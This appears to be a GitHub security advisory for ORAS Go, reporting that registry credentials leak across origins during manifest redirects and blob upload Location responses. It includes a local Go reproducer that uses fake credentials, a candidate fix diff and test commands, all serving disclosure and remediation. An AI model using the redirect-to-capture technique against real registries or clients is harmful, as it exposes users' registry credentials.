GHSA-vh4v-2xq2-g5cg
ADVISORY - githubSummary
ORAS Go forwards registry credentials across registry redirects
Reporter / public credit: JUNYI LIU
Summary
ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects.
There are two related paths:
- A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin
Authorizationheader to the redirect target. - A blob upload
POSTauthenticates to the origin registry, then the origin returns an uploadLocationon another host or port. The follow-upPUTcan carry the originAuthorizationheader to theLocationtarget.
The upload Location issue appears related to the existing public fix in pull request #1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload Location fix still forwards Basic credentials on an authenticated manifest redirect.
Impact
A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags.
This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact.
Affected Versions Tested
oras-go v2.6.0: affected.oras-gomain at commita57383e580c8f2c97fb67dedfc5c9945c8c3614e: affected.oras-gov2 branch at commitd593d504779be8b69f0ba034ac9fd407d1fc8cfc: uploadLocationpath is blocked, but manifest redirect credential forwarding is still affected.- ORAS CLI at commit
3d2646279c70ba60415440e44c2ff97896e4a209, usingoras-go v2.6.0: affected when using--registry-config.
Security Invariant
Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload Location response.
Local Reproduction Overview
All testing used loopback servers and fake credentials only.
Manifest redirect flow:
- The client requests a manifest from the origin registry.
- The origin returns
401with a Basic challenge. - The client retries the origin request with the origin credential.
- The origin returns
307to another port on the same hostname. - The redirect sink receives the origin
Authorizationheader.
ORAS CLI stored-credential flow:
- A temporary registry config contains a fake Basic credential for the origin registry only.
- Run:
oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest
- The origin authenticates the request and redirects it to another port.
- The redirect sink receives the origin
Authorizationheader.
Blob upload Location flow:
- The client starts a blob upload with
POSTto the origin registry. - The origin challenges with Basic and then accepts the authenticated
POST. - The origin returns an upload
LocationURL on another port. - In affected versions, the follow-up
PUTto theLocationtarget carries the originAuthorizationheader.
Expected Result
Redirect and upload Location targets on a different HTTP origin should not receive the origin Authorization header.
Observed Result
In affected versions, redirect or Location sinks received:
Authorization: Basic <base64 origin_user:origin_pass>
Standalone Reproducer
package main
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
"sync"
"github.com/opencontainers/go-digest"
"github.com/oras-project/oras-go/v3/registry/remote"
"github.com/oras-project/oras-go/v3/registry/remote/auth"
"github.com/oras-project/oras-go/v3/registry/remote/credentials"
)
type hit struct {
Method string `json:"method"`
Path string `json:"path"`
Host string `json:"host"`
Auth string `json:"auth,omitempty"`
}
func main() {
const username = "origin_user"
const password = "origin_pass"
const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M="
var mu sync.Mutex
var originHits, sinkHits []hit
record := func(dst *[]hit, r *http.Request) {
mu.Lock()
defer mu.Unlock()
*dst = append(*dst, hit{
Method: r.Method,
Path: r.URL.RequestURI(),
Host: r.Host,
Auth: r.Header.Get("Authorization"),
})
}
manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`)
manifestDigest := digest.FromBytes(manifest).String()
sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&sinkHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json")
w.Header().Set("Docker-Content-Digest", manifestDigest)
w.Header().Set("Content-Length", fmt.Sprint(len(manifest)))
_, _ = w.Write(manifest)
}))
defer sink.Close()
origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
record(&originHits, r)
if r.Header.Get("Authorization") != expectedAuth {
w.Header().Set("Www-Authenticate", `Basic realm="origin"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect)
}))
defer origin.Close()
repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe")
if err != nil {
panic(err)
}
repo.PlainHTTP = true
repo.Client = &auth.Client{
Client: origin.Client(),
CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{
Username: username,
Password: password,
}),
}
_, _, err = repo.Manifests().FetchReference(context.Background(), "latest")
leaked := false
for _, h := range sinkHits {
if h.Auth == expectedAuth {
leaked = true
}
}
result := map[string]any{
"origin_hits": originHits,
"sink_hits": sinkHits,
"error": "",
"leaked": leaked,
}
if err != nil {
result["error"] = err.Error()
}
encoded, _ := json.MarshalIndent(result, "", " ")
fmt.Println(string(encoded))
if leaked {
fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED")
return
}
fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK")
os.Exit(1)
}
Candidate Fix
The candidate fix does two things:
- In the auth client, wrap redirect handling so
Authorizationis removed when a redirect changes HTTP origin, while preserving any caller-providedCheckRedirectcallback. - In blob upload completion, only reuse the previous
POSTAuthorizationheader when the uploadLocationremains on the same HTTP origin.
The patch also adds regression coverage for both redirect cases:
- redirect before origin authentication reaches a different origin;
- redirect after origin authentication reaches a different origin.
diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go
index 35826eb..60c9f88 100644
--- a/registry/remote/auth/client.go
+++ b/registry/remote/auth/client.go
@@ -122,7 +122,23 @@ func (c *Client) send(req *http.Request) (*http.Response, error) {
for key, values := range c.Header {
req.Header[key] = append(req.Header[key], values...)
}
- return c.client().Do(req)
+ client := c.client()
+ clientCopy := *client
+ checkRedirect := client.CheckRedirect
+ clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error {
+ if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) {
+ redirectReq.Header.Del(headerAuthorization)
+ }
+ if checkRedirect != nil {
+ return checkRedirect(redirectReq, via)
+ }
+ return nil
+ }
+ return clientCopy.Do(req)
+}
+
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
}
// credential resolves the credential for the given registry.
@@ -168,6 +184,9 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
var attemptedKey string
cache := c.cache()
host := originalReq.Host
+ if host == "" {
+ host = originalReq.URL.Host
+ }
scheme, err := cache.GetScheme(ctx, host)
if err == nil {
switch scheme {
@@ -193,6 +212,13 @@ func (c *Client) Do(originalReq *http.Request) (*http.Response, error) {
if resp.StatusCode != http.StatusUnauthorized {
return resp, nil
}
+ respHost := resp.Request.Host
+ if respHost == "" {
+ respHost = resp.Request.URL.Host
+ }
+ if respHost != host {
+ return resp, nil
+ }
// attempt again with credentials for recognized schemes
challenge := resp.Header.Get(headerWWWAuthenticate)
diff --git a/registry/remote/repository.go b/registry/remote/repository.go
index 74d6b89..0bd20ec 100644
--- a/registry/remote/repository.go
+++ b/registry/remote/repository.go
@@ -982,6 +983,7 @@ func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte
// Push or by Mount when the receiving repository does not implement the
// mount endpoint.
func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error {
+ originalURL := req.URL
reqHostname := req.URL.Hostname()
reqPort := req.URL.Port()
// monolithic upload
@@ -1016,8 +1018,9 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
q.Set("digest", expected.Digest.String())
req.URL.RawQuery = q.Encode()
- // reuse credential from previous POST request
- if auth := resp.Request.Header.Get("Authorization"); auth != "" {
+ // reuse credential from previous POST request only when the upload location
+ // remains on the same origin.
+ if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) {
req.Header.Set("Authorization", auth)
}
resp, err = s.repo.do(req)
@@ -1032,6 +1035,10 @@ func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.
return nil
}
+func sameHTTPOrigin(a, b *url.URL) bool {
+ return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host)
+}
+
// Exists returns true if the described content exists.
func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) {
if err := s.repo.checkPolicy(ctx, ""); err != nil {
Validation Performed
The repaired candidate fix blocked:
- manifest redirect credential forwarding;
- upload
Locationcredential forwarding.
Targeted tests passed:
go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1
go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1
Prior Art / Duplicate Notes
Public pull request #1152 fixes credential forwarding via unvalidated blob upload Location and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload Location scope.
Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim.
Claim Boundaries
Proven:
- Origin registry Basic credentials can reach a different redirect or upload
Locationorigin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow.
- The candidate fix blocks the tested redirect and upload
Locationcredential exposures.
Not claimed:
- Live third-party exploitation.
- RCE, host compromise, or registry compromise.
- Arbitrary-host exposure beyond the tested redirect/
Locationorigin transitions. - Bearer realm behavior as part of the same claim.
GitHub
CVSS SCORE
6.9mediumChainguard
CGA-p8jw-fxqp-gxw3
-
minimos
MINI-258m-62pp-c2qj
-
minimos
MINI-26h2-8qj7-34vh
-
minimos
MINI-27jc-v7cp-g843
-
minimos
MINI-2j9c-79x6-mg7x
-
minimos
MINI-2v2m-h4p6-p5wq
-
minimos
MINI-2xc2-rhrx-9f5x
-
minimos
MINI-3gqp-g8g4-674v
-
minimos
MINI-3x6j-ppcp-mrc8
-
minimos
MINI-459g-hpr7-6w5g
-
minimos
MINI-46v5-rhhf-r88p
-
minimos
MINI-4p2v-gfm9-583w
-
minimos
MINI-4pg6-wf6j-fx27
-
minimos
MINI-4xfw-9p3h-v3p3
-
minimos
MINI-529f-cm7w-hpf2
-
minimos
MINI-534x-pgh2-46j9
-
minimos
MINI-55cq-j8c3-r285
-
minimos
MINI-56ph-3ww4-w5r3
-
minimos
MINI-59c8-gm2f-qhgq
-
minimos
MINI-5fmx-fh93-538r
-
minimos
MINI-5jm5-84jf-6rc9
-
minimos
MINI-5mhw-fr4c-h9wr
-
minimos
MINI-5rmh-vj2v-cmgr
-
minimos
MINI-5rrp-7jr4-gq2x
-
minimos
MINI-5xfc-wxj7-m2p2
-
minimos
MINI-67p5-mh25-62rh
-
minimos
MINI-6w49-7wxf-phr8
-
minimos
MINI-782j-v369-xj6f
-
minimos
MINI-7jmv-63r8-9f2v
-
minimos
MINI-7mc9-mmfh-77xx
-
minimos
MINI-7pj3-f88h-m6r2
-
minimos
MINI-7q3v-v2mr-v7r9
-
minimos
MINI-7rpg-g822-2r33
-
minimos
MINI-7wpm-x762-vp3w
-
minimos
MINI-886c-wjc9-pgxp
-
minimos
MINI-8gc9-g7qp-ggfp
-
minimos
MINI-8h59-wwv5-g756
-
minimos
MINI-8v2r-fmvx-x6jq
-
minimos
MINI-8x3f-3657-vvvf
-
minimos
MINI-939j-8354-294w
-
minimos
MINI-94x7-99cq-j27c
-
minimos
MINI-982p-v7g2-g756
-
minimos
MINI-99j2-r66w-6xj2
-
minimos
MINI-9c62-jvmf-cmvm
-
minimos
MINI-9h9g-9wcj-26m6
-
minimos
MINI-9j5q-fg5w-9g9r
-
minimos
MINI-9jpw-7w6h-435f
-
minimos
MINI-c8ph-3rx9-vvqq
-
minimos
MINI-cr6j-5f57-rxw6
-
minimos
MINI-cwcp-f667-4g3x
-
minimos
MINI-fcfw-858q-cvc7
-
minimos
MINI-ff44-7hv9-h36r
-
minimos
MINI-fgjc-j28h-qgmj
-
minimos
MINI-frpw-mf62-hp49
-
minimos
MINI-g7wg-gq4x-3qq2
-
minimos
MINI-g959-x5wm-9p33
-
minimos
MINI-gqqx-qw3r-qqf9
-
minimos
MINI-h2vp-gchm-7vvc
-
minimos
MINI-h42m-qgpj-6ghj
-
minimos
MINI-h473-x3v2-phx2
-
minimos
MINI-hp95-p4gw-hpfr
-
minimos
MINI-hwf3-v539-gqqh
-
minimos
MINI-j7f5-jpmv-h4wm
-
minimos
MINI-j969-qp92-5f4c
-
minimos
MINI-jcq7-433g-cpgr
-
minimos
MINI-jgww-xrvw-j946
-
minimos
MINI-jmf5-mcqf-5ccr
-
minimos
MINI-jp7v-pmv2-p4h4
-
minimos
MINI-jpjj-536r-9c9r
-
minimos
MINI-jvcc-243p-xwqq
-
minimos
MINI-m35q-6g5q-8jmr
-
minimos
MINI-m456-5363-h2pm
-
minimos
MINI-m5hm-wx77-756v
-
minimos
MINI-mf43-pc48-pvvj
-
minimos
MINI-mfcx-6x6r-3cwg
-
minimos
MINI-mfpj-83h5-364q
-
minimos
MINI-mv4m-ghv8-w595
-
minimos
MINI-mvxg-ghw6-m3hg
-
minimos
MINI-mwr4-pxx7-4x5w
-
minimos
MINI-p2m3-6gc2-cx39
-
minimos
MINI-p33g-44v8-6gvj
-
minimos
MINI-p5vw-prf4-v684
-
minimos
MINI-pfgp-p6fw-52wc
-
minimos
MINI-phhw-rp2w-q555
-
minimos
MINI-pwv8-c897-f29q
-
minimos
MINI-q2c2-82q7-4f67
-
minimos
MINI-q467-h397-cg4m
-
minimos
MINI-q5hv-gfhr-38pg
-
minimos
MINI-q9w5-mfr5-g56w
-
minimos
MINI-qf85-7hrc-h2hx
-
minimos
MINI-qv7r-jpxm-8rvc
-
minimos
MINI-r29m-8935-57qq
-
minimos
MINI-rh59-x4p5-hrcq
-
minimos
MINI-v3qf-3rhj-fxwj
-
minimos
MINI-v6mm-ffgm-w2pr
-
minimos
MINI-v9c4-m8r4-q7f6
-
minimos
MINI-vm5v-r88x-g4qp
-
minimos
MINI-vv2j-w673-8q6j
-
minimos
MINI-vw54-c32j-59xr
-
minimos
MINI-vx6w-cgh9-j9gr
-
minimos
MINI-vx8h-vx6c-r4pm
-
minimos
MINI-w4vq-fhrr-pvqf
-
minimos
MINI-w7gv-848r-2wmg
-
minimos
MINI-w9ch-87hq-j977
-
minimos
MINI-wgm4-pf27-9j8c
-
minimos
MINI-wr2q-hpx2-3pcm
-
minimos
MINI-ww77-m3w3-f49h
-
minimos
MINI-x477-9p7m-chh5
-
minimos
MINI-x5mx-859m-hcc6
-
minimos
MINI-x82h-fgw9-45ff
-
minimos
MINI-x8hx-4h5j-cx54
-
minimos
MINI-xgg8-j4g7-5cjm
-
minimos
MINI-xw27-223h-v9c6
-